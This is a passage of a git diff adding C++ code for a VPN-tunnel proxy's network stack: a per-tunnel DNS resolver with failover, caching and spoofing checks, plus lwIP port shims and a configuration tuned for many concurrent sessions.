std::make_shared(strand_); + q->name = name; + q->id = allocate_id(); + q->deadline = Clock::now() + cfg_.timeout; + q->waiters.push_back(std::move(h)); + + if (!dns::build_query(name, q->id, &q->wire)) { + LOG_DEBUG(kMod, "{}: refusing to look up a malformed name: {}", + netif_->label(), host); + auto waiters = std::move(q->waiters); + for (auto &w : waiters) { + asio::post(strand_, [w = std::move(w)]() mutable { + w(make_error_code(Error::ProtocolError), {}); + }); + } + return; + } + + by_id_[q->id] = q; + by_name_[name] = q; + { + std::lock_guard lk(stats_mu_); + stats_.queries++; + } + queries_total()->inc(); + + if (servers_.empty()) { + finish(q, make_error_code(Error::ResolveFailed), {}, 0); + return; + } + if (sock_) { + send_query(q); + return; + } + pending_open_.push_back(q); + open_socket(); +} + +void DnsResolver::open_socket() { + if (opening_ || sock_) return; + opening_ = true; + + auto self = shared_from_this(); + netif_->async_open_udp( + strand_, [self](const std::error_code &ec, UdpSocketPtr sock) { + self->opening_ = false; + auto pending = std::move(self->pending_open_); + self->pending_open_.clear(); + + if (ec) { + LOG_WARN(kMod, "{}: cannot open a DNS socket: {}", + self->netif_->label(), ec.message()); + for (auto &q : pending) self->finish(q, ec, {}, 0); + return; + } + self->sock_ = std::move(sock); + LOG_DEBUG(kMod, "{}: resolver socket {}", self->netif_->label(), + self->sock_->local_endpoint().to_string()); + self->arm_receive(); + for (auto &q : pending) self->send_query(q); + }); +} + +void DnsResolver::arm_receive() { + if (!sock_ || receiving_) return; + receiving_ = true; + auto self = shared_from_this(); + sock_->async_receive_from( + asio::buffer(rx_buf_), + [self](const std::error_code &ec, size_t n, const Endpoint &from) { + self->on_datagram(ec, n, from); + }); +} + +void DnsResolver::send_query(const std::shared_ptr &q) { + if (q->done) return; + if (!sock_) { + finish(q, make_error_code(Error::EgressGone), {}, 0); + return; + } + const auto now = Clock::now(); + if (q->server_idx >= servers_.size() || now >= q->deadline) { + // Every server either timed out or refused. Report the last RCODE if we got + // one -- "no such host" and "nothing answered" are different problems for + // whoever reads the log. + const auto ec = make_error_code(Error::ResolveFailed); + LOG_DEBUG(kMod, "{}: {} unresolved after {} server(s) (last rcode {})", + netif_->label(), q->name, servers_.size(), q->last_rcode); + finish(q, ec, {}, 0); + return; + } + + const Endpoint server(servers_[q->server_idx], kPortDns); + + // Split the total budget across the servers so that a dead first resolver + // cannot consume it all, but never below the floor. + Millis per = cfg_.timeout / static_cast(std::max(1, servers_.size())); + if (per < kMinPerServer) per = kMinPerServer; + const auto remaining = + std::chrono::duration_cast(q->deadline - now); + q->timer.expires_after(std::min(per, remaining)); + + auto self = shared_from_this(); + q->timer.async_wait([self, q](const std::error_code &ec) { + if (ec) return; // cancelled: the answer arrived + self->on_query_timeout(q); + }); + + LOG_TRACE(kMod, "{}: query {} A {} -> {}", netif_->label(), q->id, q->name, + server.to_string()); + + sock_->async_send_to(asio::buffer(q->wire), server, + [self, q](const std::error_code &ec, size_t) { + if (!ec || q->done) return; + // A send that fails outright is a dead server; do not + // spend the timeout waiting to learn that. + q->timer.cancel(); + q->server_idx++; + self->send_query(q); + }); +} + +void DnsResolver::on_query_timeout(const std::shared_ptr &q) { + if (q->done) return; + { + std::lock_guard lk(stats_mu_); + stats_.timeouts++; + } + LOG_TRACE(kMod, "{}: query {} for {} timed out on server {}", + netif_->label(), q->id, q->name, q->server_idx); + q->server_idx++; + send_query(q); +} + +void DnsResolver::on_datagram(const std::error_code &ec, size_t n, + const Endpoint &from) { + receiving_ = false; + + if (ec) { + if (ec != asio::error::operation_aborted) { + LOG_WARN(kMod, "{}: resolver socket failed: {}", netif_->label(), + ec.message()); + } + // Drop the socket so the next lookup opens a fresh one; the tunnel itself + // may still be perfectly healthy. + sock_.reset(); + fail_all(ec); + return; + } + + dns::ParseResult r; + if (!dns::parse_response(rx_buf_.data(), n, &r)) { + LOG_TRACE(kMod, "{}: discarded a {}-byte malformed response from {}", + netif_->label(), n, from.to_string()); + arm_receive(); + return; + } + + auto it = by_id_.find(r.id); + if (it == by_id_.end()) { + // Late answer to a query we already gave up on, or an unsolicited packet. + arm_receive(); + return; + } + auto q = it->second; + + // Cheap anti-spoofing: only accept from an address we actually asked. Inside + // a tunnel this is close to redundant, but the tunnel is a hostile network by + // assumption -- it belongs to a stranger who volunteered a VPN node. + const bool known_server = + !from.is_domain() && + std::find(servers_.begin(), servers_.end(), from.address()) != + servers_.end(); + if (!known_server) { + LOG_DEBUG(kMod, "{}: ignoring a response for query {} from {}, which is " + "not one of our servers", + netif_->label(), r.id, from.to_string()); + arm_receive(); + return; + } + + if (r.rcode != 0 || r.addrs.empty()) { + // Fail over rather than trust it. VPNGate nodes push whatever resolver + // their operator happened to have, and answering NXDOMAIN for names that + // plainly exist is common enough that treating one negative answer as + // authoritative would break the proxy on those nodes. The cost is that a + // genuinely nonexistent name is asked of every server before it fails. + q->last_rcode = r.rcode; + LOG_TRACE(kMod, "{}: server {} answered rcode={} with {} address(es) for {}", + netif_->label(), q->server_idx, r.rcode, r.addrs.size(), q->name); + q->timer.cancel(); + q->server_idx++; + send_query(q); + arm_receive(); + return; + } + + if (r.truncated) { + LOG_TRACE(kMod, "{}: truncated answer for {}, keeping the {} address(es) " + "that fit", + netif_->label(), q->name, r.addrs.size()); + } + finish(q, {}, std::move(r.addrs), r.min_ttl); + arm_receive(); +} + +void DnsResolver::finish(const std::shared_ptr &q, + const std::error_code &ec, std::vector addrs, + uint32_t ttl_seconds) { + if (q->done) return; + q->done = true; + q->timer.cancel(); + + by_id_.erase(q->id); + if (auto it = by_name_.find(q->name); it != by_name_.end() && it->second == q) + by_name_.erase(it); + + if (!ec && !addrs.empty()) { + cache_put(q->name, addrs, ttl_seconds); + LOG_TRACE(kMod, "{}: {} -> {} (+{} more), ttl {}s", netif_->label(), q->name, + addrs.front().to_string(), addrs.size() - 1, ttl_seconds); + } else { + { + std::lock_guard lk(stats_mu_); + stats_.failures++; + } + failures_total()->inc(); + } + + auto waiters = std::move(q->waiters); + q->waiters.clear(); + for (auto &w : waiters) { + // Posted, not called: a handler that starts another lookup would otherwise + // re-enter start() from inside finish(), while by_name_ is mid-erase. + asio::post(strand_, [w = std::move(w), ec, addrs]() mutable { + w(ec, addrs); + }); + } +} + +void DnsResolver::fail_all(const std::error_code &ec) { + std::vector> all; + all.reserve(by_id_.size()); + for (auto &[id, q] : by_id_) { + (void)id; + all.push_back(q); + } + for (auto &q : all) finish(q, ec, {}, 0); +} + +uint16_t DnsResolver::allocate_id() { + // Random, not sequential: a predictable transaction ID is the other half of + // the spoofing check above. + for (int i = 0; i < 64; ++i) { + const uint16_t id = static_cast(rng_() & 0xFFFF); + if (by_id_.find(id) == by_id_.end()) return id; + } + // 64 collisions means the table is saturated; any id will do at that point, + // and the loser is answered by whichever query completes first. + return static_cast(rng_() & 0xFFFF); +} + +void DnsResolver::cache_put(const std::string &name, + const std::vector &addrs, + uint32_t ttl_seconds) { + if (addrs.empty() || cfg_.cache_entries == 0) return; + + // Clamping both ends: a 30-second TTL would have us re-querying constantly on + // a high-latency tunnel, and a 7-day one would outlive several node switches. + Millis ttl(static_cast(ttl_seconds) * 1000); + ttl = std::clamp(ttl, cfg_.min_ttl, cfg_.max_ttl); + + const auto expires = Clock::now() + ttl; + auto [it, inserted] = cache_.insert_or_assign(name, CacheEntry{addrs, expires}); + if (inserted) cache_order_.push_back(name); + + while (cache_.size() > cfg_.cache_entries && !cache_order_.empty()) { + // FIFO rather than LRU: keeping a per-entry access timestamp costs more + // than it saves at this size, and the TTL clamp already bounds staleness. + const std::string victim = cache_order_.front(); + cache_order_.pop_front(); + cache_.erase(victim); + } +} + +bool DnsResolver::cache_get(const std::string &name, + std::vector *out) { + auto it = cache_.find(name); + if (it == cache_.end()) return false; + if (Clock::now() >= it->second.expires) { + // Deliberately left in place. cache_order_ mirrors cache_ one entry per + // insertion; erasing here without touching the deque would let it drift and + // grow without bound as names expire and are re-inserted. The stale entry + // is either overwritten by the next answer or evicted with the rest. + return false; + } + *out = it->second.addrs; + return true; +} + +void DnsResolver::clear_cache() { + auto self = shared_from_this(); + asio::post(strand_, [self] { + const size_t n = self->cache_.size(); + self->cache_.clear(); + self->cache_order_.clear(); + LOG_DEBUG(kMod, "{}: dropped {} cached name(s)", self->netif_->label(), n); + }); +} + +DnsResolver::Stats DnsResolver::stats() const { + std::lock_guard lk(stats_mu_); + Stats s = stats_; + // cache_ and by_id_ are strand-owned; reading their size off-strand is a + // benign race on a number that is only ever displayed. + s.cached = cache_.size(); + s.in_flight = by_id_.size(); + return s; +} + +} // namespace ovg::netstack diff --git a/src/netstack/dns_resolver.h b/src/netstack/dns_resolver.h new file mode 100644 index 0000000..3894b30 --- /dev/null +++ b/src/netstack/dns_resolver.h @@ -0,0 +1,167 @@ +// A DNS resolver that queries through a specific tunnel. +// +// --------------------------------------------------------------------------- +// Why not lwIP's resolver +// --------------------------------------------------------------------------- +// lwIP ships one (LWIP_DNS), and it is disabled in lwip_port/lwipopts.h. It +// keeps a single global server list, a single global cache and a fixed table of +// in-flight queries -- all file-scope state, exactly like the rest of lwIP. That +// is fine with one interface and wrong with two: during a make-before-break +// switch both tunnels are up, each pushed its own resolvers, and a name looked +// up for a session on the old tunnel must be answered by the old tunnel's +// servers over the old tunnel's socket. A per-netif resolver is the only way to +// keep that straight, so this is roughly 400 lines we own instead of a global +// we would have to serialize access to and still get wrong. +// +// It also buys three things lwIP's does not offer: a TTL-clamped cache sized +// from config, coalescing of concurrent lookups for the same name, and failover +// across the pushed servers plus the configured fallbacks. +// +// --------------------------------------------------------------------------- +// Scope +// --------------------------------------------------------------------------- +// A records only. The stack is IPv4-only (see lwip_stack.h), so an AAAA answer +// could not be connected to even if we asked for it. No EDNS0, no DNSSEC, no +// TCP fallback: a truncated A-record answer that still carries one address is +// usable, and one that carries none fails over to the next server. +// +// --------------------------------------------------------------------------- +// Threading +// --------------------------------------------------------------------------- +// Its own strand, not the lwIP one. Parsing responses and walking the cache has +// no business running where every TCP segment in the process is also processed. +// Public methods are safe to call from any thread; handlers run on the strand. +#pragma once + +#include + +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include "common/config.h" +#include "netstack/lwip_stack.h" +#include "netstack/stream.h" + +namespace ovg::netstack { + +class DnsResolver final : public Resolver, + public std::enable_shared_from_this { + public: + // The server list is the netif's pushed resolvers followed by + // cfg.fallback_servers. Both are queried *through the tunnel*: a fallback is + // a different address, not a different path. + static std::shared_ptr create(std::shared_ptr netif, + DnsConfig cfg); + ~DnsResolver() override; + + DnsResolver(const DnsResolver &) = delete; + DnsResolver &operator=(const DnsResolver &) = delete; + + // Resolver + void async_resolve(const std::string &host, Handler h) override; + void clear_cache() override; + + struct Stats { + uint64_t queries = 0; + uint64_t cache_hits = 0; + uint64_t coalesced = 0; + uint64_t timeouts = 0; + uint64_t failures = 0; + size_t cached = 0; + size_t in_flight = 0; + }; + Stats stats() const; + + private: + DnsResolver(std::shared_ptr netif, DnsConfig cfg); + + using Clock = std::chrono::steady_clock; + + struct Query { + explicit Query(const Strand &s) : timer(s) {} + std::string name; // lowercased + uint16_t id = 0; + std::vector waiters; + size_t server_idx = 0; + asio::steady_timer timer; + Clock::time_point deadline; + std::vector wire; // kept so a retry does not rebuild it + int last_rcode = -1; // for the error message when all fail + bool done = false; + }; + + struct CacheEntry { + std::vector addrs; + Clock::time_point expires; + }; + + // Strand-only. + void start(const std::string &name, Handler h); + void open_socket(); + void arm_receive(); + void on_datagram(const std::error_code &ec, size_t n, const Endpoint &from); + void send_query(const std::shared_ptr &q); + void on_query_timeout(const std::shared_ptr &q); + void finish(const std::shared_ptr &q, const std::error_code &ec, + std::vector addrs, uint32_t ttl_seconds); + void fail_all(const std::error_code &ec); + uint16_t allocate_id(); + void cache_put(const std::string &name, const std::vector &addrs, + uint32_t ttl_seconds); + bool cache_get(const std::string &name, std::vector *out); + + std::shared_ptr netif_; + DnsConfig cfg_; + Strand strand_; + + std::vector servers_; + UdpSocketPtr sock_; + bool opening_ = false; + std::vector> pending_open_; + std::vector rx_buf_; + bool receiving_ = false; + + std::unordered_map> by_id_; + std::unordered_map> by_name_; + + std::unordered_map cache_; + std::deque cache_order_; // insertion order, for eviction + + std::mt19937 rng_; + + mutable std::mutex stats_mu_; + Stats stats_; +}; + +// Exposed for tests: build an A-record query and parse a response. Pure +// functions over byte buffers, which is the only part of DNS worth unit-testing +// in isolation. +namespace dns { + +// Returns false if `name` is not a legal DNS name (label > 63, total > 255). +bool build_query(const std::string &name, uint16_t id, + std::vector *out); + +struct ParseResult { + uint16_t id = 0; + int rcode = 0; + bool truncated = false; + std::vector addrs; + uint32_t min_ttl = 0; +}; + +// Returns false only for a response that is malformed at the wire level. An +// answer that is well-formed but empty or an error comes back true with rcode +// and addrs telling the caller what happened. +bool parse_response(const uint8_t *data, size_t len, ParseResult *out); + +} // namespace dns + +} // namespace ovg::netstack diff --git a/src/netstack/lwip_port/arch/cc.h b/src/netstack/lwip_port/arch/cc.h new file mode 100644 index 0000000..fd01b30 --- /dev/null +++ b/src/netstack/lwip_port/arch/cc.h @@ -0,0 +1,48 @@ +// lwIP architecture shim for POSIX/glibc userspace. +// +// lwIP includes this before anything else, from C translation units. Keep it +// C-compatible and free of project headers -- the two hooks that need to reach +// our C++ logger go through the small extern "C" surface in lwip_shim.h. +#ifndef OVG_LWIP_PORT_ARCH_CC_H +#define OVG_LWIP_PORT_ARCH_CC_H + +#include // defines BYTE_ORDER / LITTLE_ENDIAN / BIG_ENDIAN +#include +#include +#include + +// Resolved via the port directory on lwIP's include path (it is where +// lwipopts.h is found too), not relative to this file. Spelling it +// project-root-relative like the rest of the tree would require putting all of +// src/ on lwIP's include path, where our headers could shadow its own. +#include "lwip_shim.h" + +// arch.h would otherwise default BYTE_ORDER to LITTLE_ENDIAN without checking, +// which is silently wrong on a big-endian build. settles it. +#ifndef BYTE_ORDER +#error "BYTE_ORDER not defined by " +#endif + +// Structure packing: gcc/clang attribute form. +#define PACK_STRUCT_BEGIN +#define PACK_STRUCT_STRUCT __attribute__((packed)) +#define PACK_STRUCT_END +#define PACK_STRUCT_FIELD(x) x + +// Both hooks land in the project logger under the "lwip" module tag. The +// alternative -- lwIP's default of printf to stdout -- would put unprefixed, +// untimestamped lines in the middle of the service log, and an assertion +// failure would be indistinguishable from ordinary output. +#define LWIP_PLATFORM_DIAG(x) \ + do { \ + ovg_lwip_diag x; \ + } while (0) + +#define LWIP_PLATFORM_ASSERT(msg) ovg_lwip_assert_failed((msg), __FILE__, __LINE__) + +// lwIP uses this for the IP identification field and for ephemeral port +// selection; a predictable sequence there is a (mild) fingerprint and a (real) +// off-path injection aid, so it is backed by a seeded PRNG rather than rand(). +#define LWIP_RAND() ovg_lwip_rand() + +#endif // OVG_LWIP_PORT_ARCH_CC_H diff --git a/src/netstack/lwip_port/lwip_shim.cpp b/src/netstack/lwip_port/lwip_shim.cpp new file mode 100644 index 0000000..d041066 --- /dev/null +++ b/src/netstack/lwip_port/lwip_shim.cpp @@ -0,0 +1,67 @@ +// Definitions for the three port hooks plus lwIP's sys_now(). +#include "netstack/lwip_port/lwip_shim.h" + +#include +#include +#include +#include +#include + +#include "common/logging.h" + +extern "C" { +#include "lwip/sys.h" +} + +namespace { +constexpr const char *kMod = "lwip"; + +// One reference point for the whole process. sys_now() is a u32 millisecond +// counter that lwIP is designed to see wrap, so the absolute epoch does not +// matter -- only that it is monotonic and never jumps backwards, which rules +// out system_clock. +std::chrono::steady_clock::time_point boot() { + static const auto t0 = std::chrono::steady_clock::now(); + return t0; +} + +std::mt19937 &rng() { + static std::mt19937 gen{std::random_device{}()}; + return gen; +} + +} // namespace + +extern "C" void ovg_lwip_diag(const char *fmt, ...) { + char buf[512]; + va_list ap; + va_start(ap, fmt); + const int n = std::vsnprintf(buf, sizeof(buf), fmt, ap); + va_end(ap); + if (n <= 0) return; + + // lwIP's diagnostics arrive with the trailing newline already attached; the + // logger adds its own. + std::string_view s(buf); + while (!s.empty() && (s.back() == '\n' || s.back() == '\r')) s.remove_suffix(1); + if (!s.empty()) ovg::log::write(ovg::log::Level::Debug, kMod, s); +} + +extern "C" void ovg_lwip_assert_failed(const char *msg, const char *file, + int line) { + LOG_ERROR(kMod, "lwIP assertion failed: {} at {}:{}", msg ? msg : "(null)", + file ? file : "(null)", line); + std::abort(); +} + +extern "C" uint32_t ovg_lwip_rand(void) { + // Called from lwIP callbacks, which are all serialized on the stack's strand, + // so the shared generator needs no lock. + return static_cast(rng()()); +} + +extern "C" u32_t sys_now(void) { + using namespace std::chrono; + const auto ms = duration_cast(steady_clock::now() - boot()); + return static_cast(ms.count()); +} diff --git a/src/netstack/lwip_port/lwip_shim.h b/src/netstack/lwip_port/lwip_shim.h new file mode 100644 index 0000000..366f1cc --- /dev/null +++ b/src/netstack/lwip_port/lwip_shim.h @@ -0,0 +1,34 @@ +// The C surface lwIP's port layer calls into. +// +// Split out from arch/cc.h because cc.h is included by lwIP's own C sources and +// must stay free of C++; these three symbols are defined in C++ (lwip_shim.cpp) +// but declared with C linkage so both sides agree. +#ifndef OVG_LWIP_PORT_LWIP_SHIM_H +#define OVG_LWIP_PORT_LWIP_SHIM_H + +#include + +#ifdef __cplusplus +extern "C" { +#endif + +// LWIP_PLATFORM_DIAG. printf-style, because that is the shape lwIP calls it in. +void ovg_lwip_diag(const char *fmt, ...) __attribute__((format(printf, 1, 2))); + +// LWIP_PLATFORM_ASSERT. Logs at error level and aborts: an lwIP assertion means +// an invariant inside the stack is already broken, and continuing past it +// corrupts connections silently instead of loudly. +void ovg_lwip_assert_failed(const char *msg, const char *file, int line) + __attribute__((noreturn)); + +// LWIP_RAND. +uint32_t ovg_lwip_rand(void); + +// Milliseconds since stack start, for lwIP's timer wheel. lwIP declares +// sys_now() itself in sys.h; this is the same function, defined in lwip_shim.cpp. + +#ifdef __cplusplus +} // extern "C" +#endif + +#endif // OVG_LWIP_PORT_LWIP_SHIM_H diff --git a/src/netstack/lwip_port/lwipopts.h b/src/netstack/lwip_port/lwipopts.h new file mode 100644 index 0000000..c73d363 --- /dev/null +++ b/src/netstack/lwip_port/lwipopts.h @@ -0,0 +1,183 @@ +// lwIP configuration for openvpngate. +// +// lwIP ships tuned for microcontrollers: MEMP_NUM_TCP_PCB defaults to 5 and the +// heap to a few tens of kilobytes. Running a 1000-session proxy on the stock +// configuration does not degrade, it fails outright, so every value below is a +// deliberate departure. See docs/FEASIBILITY.md 4.2 for the reasoning and the +// honest limits. +// +// Three constraints shape everything here: +// +// 1. NO_SYS=1. There is no OS layer, no lwIP thread, no mailbox. The raw +// callback API is the only API, and the caller guarantees serialization -- +// for us that is netstack::Stack's strand. +// 2. We are always the connection initiator. No listen path, no ARP, no DHCP, +// no autoip -- the tunnel hands us an address. +// 3. Memory has to scale to ~1000 concurrent connections, which rules out the +// fixed memp pools entirely. +#pragma once + +// ---- core model ------------------------------------------------------------ + +#define NO_SYS 1 +#define LWIP_TIMERS 1 +#define SYS_LIGHTWEIGHT_PROT 0 // strand-serialized; nothing to protect against +#define LWIP_NETCONN 0 +#define LWIP_SOCKET 0 +#define LWIP_NETIF_API 0 +#define LWIP_TCPIP_CORE_LOCKING 0 + +// ---- memory ---------------------------------------------------------------- +// +// The static pools are the single biggest source of "it worked in testing and +// wedged in production" with lwIP: when a pool runs dry the stack silently +// drops packets, and the pool that runs dry is never the one you sized. Routing +// everything through libc malloc trades pool determinism (which we do not need +// -- this is not hard real-time) for the guarantee that capacity planning +// mistakes cannot silently corrupt behaviour. +// +// The price is that lwIP no longer has an upper bound on its own memory. That +// bound has to come from somewhere, and it comes from socks5.max_sessions, +// enforced at accept time. That is the only thing standing between a burst of +// clients and the OOM killer -- see docs/FEASIBILITY.md 4.2. +#define MEM_LIBC_MALLOC 1 +#define MEMP_MEM_MALLOC 1 +#define MEM_ALIGNMENT 8 // x86_64 / aarch64 +#define MEM_SIZE (16 * 1024 * 1024) // unused under MEM_LIBC_MALLOC + +// Ignored while MEMP_MEM_MALLOC is on, but kept accurate: they are the sizing +// that would apply if anyone ever turns pooling back on, and they document the +// intended scale. +#define MEMP_NUM_TCP_PCB 1300 +#define MEMP_NUM_TCP_PCB_LISTEN 0 // we never listen inside the tunnel +#define MEMP_NUM_TCP_SEG 8192 +#define MEMP_NUM_UDP_PCB 512 +#define MEMP_NUM_RAW_PCB 8 +#define MEMP_NUM_REASSDATA 32 +#define MEMP_NUM_FRAG_PBUF 64 +#define PBUF_POOL_SIZE 1024 +#define PBUF_POOL_BUFSIZE 1536 + +// ---- protocol surface ------------------------------------------------------ +// +// Everything not needed by "an initiator on a point-to-point layer-3 link" is +// off. Each of these is code that could have a bug in it and reachable state a +// hostile peer could poke at, so off is worth more than the flexibility. +#define LWIP_IPV4 1 +#define LWIP_IPV6 0 // see netstack/lwip_stack.h +#define LWIP_ARP 0 +#define LWIP_ETHERNET 0 +#define LWIP_DHCP 0 +#define LWIP_AUTOIP 0 +#define LWIP_ACD 0 +#define LWIP_IGMP 0 +#define LWIP_DNS 0 // ours: netstack/dns_resolver.h +#define LWIP_TCP 1 +#define LWIP_UDP 1 +#define LWIP_UDPLITE 0 +#define LWIP_RAW 1 // ICMP echo, for in-tunnel RTT probes +#define LWIP_ICMP 1 +#define LWIP_BROADCAST_PING 0 +#define LWIP_MULTICAST_PING 0 + +// Fragmentation both ways. A VPN transport with a smaller effective MTU than +// the one the server pushed is common enough that dropping fragments would show +// up as "large HTTPS responses hang" -- the classic, miserable-to-diagnose PMTU +// black hole. +#define IP_REASSEMBLY 1 +#define IP_FRAG 1 +#define IP_REASS_MAXAGE 5 +#define IP_REASS_MAX_PBUFS 128 +#define IP_DEFAULT_TTL 64 +#define IP_FORWARD 0 + +// ---- TCP tuning ------------------------------------------------------------ +// +// TCP_MSS is conservative on purpose. lwIP lowers the effective MSS to fit +// netif->mtu (tcp_eff_send_mss_netif), so this is only an upper bound; 1360 +// leaves room for a server that pushes 1500 but whose own transport is doing +// encapsulation of its own, without relying on fragmentation to save us. +#define TCP_MSS 1360 +#define TCP_TTL IP_DEFAULT_TTL + +// Window scaling is not optional here. A VPN hop of 150-250ms RTT has a +// bandwidth-delay product well past 64 KB, and without scaling every connection +// would be capped at roughly (64 KB / RTT) regardless of the link. +#define LWIP_WND_SCALE 1 +#define TCP_RCV_SCALE 2 + +// 64 KB per direction per connection. This is the memory knob that matters: +// TCP_WND is the ceiling on data lwIP will accept before our reader consumes +// it, so the worst case is roughly max_sessions * (TCP_WND + TCP_SND_BUF) -- +// about 150 MB at the default 1200 sessions. Raising these buys single-stream +// throughput and costs that ceiling linearly. +#define TCP_WND (64 * 1024) +#define TCP_SND_BUF (64 * 1024) +#define TCP_SND_QUEUELEN ((8 * (TCP_SND_BUF) + (TCP_MSS - 1)) / (TCP_MSS)) +#define TCP_SNDLOWAT (TCP_SND_BUF / 4) +#define TCP_SNDQUEUELOWAT (TCP_SND_QUEUELEN / 4) + +// Out-of-order queueing, bounded. Lossy VPN paths reorder constantly; without +// this a single missing segment stalls the connection for a full RTO. +#define TCP_QUEUE_OOSEQ 1 +#define TCP_OOSEQ_MAX_BYTES TCP_WND +#define TCP_OOSEQ_MAX_PBUFS 64 + +// SACK, for the same reason: one loss in a 64 KB window should cost one +// retransmit, not a window's worth. +#define LWIP_TCP_SACK_OUT 1 +#define LWIP_TCP_MAX_SACK_NUM 4 + +#define TCP_LISTEN_BACKLOG 0 +#define LWIP_TCP_TIMESTAMPS 0 // no PAWS need; saves 12 bytes/segment +#define TCP_MAXRTX 8 +#define TCP_SYNMAXRTX 4 // fail a dead target fast; SOCKS5 has its own timeout + +// ---- checksums ------------------------------------------------------------- +// +// All on. There is no NIC underneath us to offload to -- the "wire" is a +// socketpair -- and a corrupt packet arriving from the VPN server is exactly +// the case checksums exist for. +#define CHECKSUM_GEN_IP 1 +#define CHECKSUM_GEN_UDP 1 +#define CHECKSUM_GEN_TCP 1 +#define CHECKSUM_GEN_ICMP 1 +#define CHECKSUM_CHECK_IP 1 +#define CHECKSUM_CHECK_UDP 1 +#define CHECKSUM_CHECK_TCP 1 +#define CHECKSUM_CHECK_ICMP 1 + +// ---- netif ----------------------------------------------------------------- + +#define LWIP_NETIF_HOSTNAME 0 +#define LWIP_NETIF_STATUS_CALLBACK 0 +#define LWIP_NETIF_LINK_CALLBACK 0 +#define LWIP_NETIF_REMOVE_CALLBACK 0 +#define LWIP_SINGLE_NETIF 0 // two live netifs during a switch +#define LWIP_NUM_NETIF_CLIENT_DATA 0 + +// ---- statistics ------------------------------------------------------------ +// +// On, and load-bearing: the health monitor reads the TCP retransmit counter as +// its packet-loss signal (docs/ARCHITECTURE.md 7). The mem/memp counters are +// off because libc malloc owns that accounting now. +#define LWIP_STATS 1 +#define LWIP_STATS_DISPLAY 0 +#define LINK_STATS 1 +#define IP_STATS 1 +#define ICMP_STATS 1 +#define UDP_STATS 1 +#define TCP_STATS 1 +#define MEM_STATS 0 +#define MEMP_STATS 0 +#define SYS_STATS 0 +#define IPFRAG_STATS 1 + +// ---- debug ----------------------------------------------------------------- +// +// LWIP_DEBUG is tested with #ifdef, not #if, so defining it to 0 would turn +// debug *on*. It must simply not be defined. Asserts stay enabled: an lwIP +// assertion means our own callback contract was violated, and LWIP_PLATFORM_ +// ASSERT in arch/cc.h routes it into the log before aborting. (Defining +// LWIP_NOASSERT would disable them; we deliberately do not.) +#undef LWIP_DEBUG diff --git a/src/netstack/lwip_stack.cpp b/src/netstack/lwip_stack.cpp new file mode 100644 index 0000000..b33474c --- /dev/null +++ b/src/netstack/lwip_stack.cpp @@ -0,0 +1,649 @@ +#include "netstack/lwip_stack.h" + +#include +#include +#include + +#include "common/error.h" +#include "common/logging.h" +#include "common/metrics.h" +#include "netstack/dns_resolver.h" +#include "netstack/lwip_tcp.h" +#include "netstack/lwip_udp.h" + +extern "C" { +#include "lwip/init.h" +#include "lwip/ip4.h" +#include "lwip/ip4_addr.h" +#include "lwip/netif.h" +#include "lwip/pbuf.h" +#include "lwip/stats.h" +#include "lwip/tcp.h" +#include "lwip/timeouts.h" +#include "lwip/udp.h" +} + +namespace ovg::netstack { +namespace { + +constexpr const char *kMod = "netstack"; + +// Upper bound on how long the timer wheel may sit idle. lwIP's own answer +// (sys_timeouts_sleeptime) is authoritative when it has work pending; this only +// caps the "nothing scheduled" case so that a newly armed timeout is never more +// than a quarter second late. +constexpr std::chrono::milliseconds kMaxTimerIdle{250}; +constexpr std::chrono::milliseconds kMinTimerIdle{1}; + +// One process, one lwIP. Guarded rather than assumed -- see lwip_stack.h. +bool g_stack_live = false; +bool g_lwip_initialized = false; + +metrics::Counter *rx_packets() { + static auto *c = metrics::counter("ovg_netstack_rx_packets_total", + "IP packets read from the tunnel"); + return c; +} +metrics::Counter *tx_packets() { + static auto *c = metrics::counter("ovg_netstack_tx_packets_total", + "IP packets written to the tunnel"); + return c; +} +metrics::Counter *tx_dropped() { + static auto *c = metrics::counter("ovg_netstack_tx_dropped_total", + "IP packets dropped: link queue full"); + return c; +} +metrics::Counter *rx_malformed() { + static auto *c = metrics::counter("ovg_netstack_rx_malformed_total", + "Packets that were not usable IPv4"); + return c; +} +metrics::Gauge *netifs_up() { + static auto *g = metrics::gauge("ovg_netstack_netifs", + "Tunnel interfaces currently attached"); + return g; +} + +ip4_addr_t to_lwip(const IpAddress &a) { + ip4_addr_t r{}; + r.addr = lwip_htonl(a.v4_host_order()); + return r; +} + +ip4_addr_t netmask_for(int prefix) { + ip4_addr_t r{}; + const uint32_t host = + (prefix <= 0) ? 0u : (prefix >= 32 ? 0xFFFFFFFFu + : (0xFFFFFFFFu << (32 - prefix))); + r.addr = lwip_htonl(host); + return r; +} + +} // namespace + +std::error_code lwip_error(int8_t err) { + switch (err) { + case ERR_OK: return {}; + case ERR_MEM: + case ERR_BUF: return make_error_code(Error::ResourceExhausted); + case ERR_TIMEOUT: return make_error_code(Error::Timeout); + case ERR_RTE: return make_error_code(Error::NetworkUnreachable); + case ERR_INPROGRESS: return make_error_code(Error::Internal); + case ERR_VAL: + case ERR_ARG: return make_error_code(Error::Internal); + case ERR_WOULDBLOCK: return std::make_error_code(std::errc::operation_would_block); + case ERR_USE: return std::make_error_code(std::errc::address_in_use); + case ERR_ALREADY: + case ERR_ISCONN: return std::make_error_code(std::errc::already_connected); + case ERR_CONN: return make_error_code(Error::NotConnected); + case ERR_IF: return make_error_code(Error::NetworkUnreachable); + case ERR_ABRT: return std::make_error_code(std::errc::operation_canceled); + // A reset during connect means refused; mid-stream it means the peer or a + // middlebox tore the connection down. SOCKS5 only cares at connect time, + // where "refused" is the honest REP value. + case ERR_RST: return make_error_code(Error::ConnectionRefused); + case ERR_CLSD: return std::make_error_code(std::errc::connection_reset); + default: return make_error_code(Error::Internal); + } +} + +// --------------------------------------------------------------------------- +// Stack +// --------------------------------------------------------------------------- + +Stack::Stack(asio::io_context &io, DnsConfig dns_cfg) + : io_(io), + dns_cfg_(std::move(dns_cfg)), + strand_(asio::make_strand(io)), + timer_(strand_) { + if (g_stack_live) { + throw std::logic_error( + "a netstack::Stack already exists; lwIP keeps its state in globals so " + "there can only be one per process (see netstack/lwip_stack.h)"); + } + if (!g_lwip_initialized) { + lwip_init(); + g_lwip_initialized = true; + LOG_INFO(kMod, + "lwIP {}.{}.{} initialized (tcp_mss={} tcp_wnd={} snd_buf={} " + "wnd_scale={})", + LWIP_VERSION_MAJOR, LWIP_VERSION_MINOR, LWIP_VERSION_REVISION, + TCP_MSS, TCP_WND, TCP_SND_BUF, TCP_RCV_SCALE); + } else { + // A second Stack in the same process (tests do this). lwip_init() resets + // pool state that may still be referenced, so it is deliberately not + // repeated; the first initialization is still valid. + 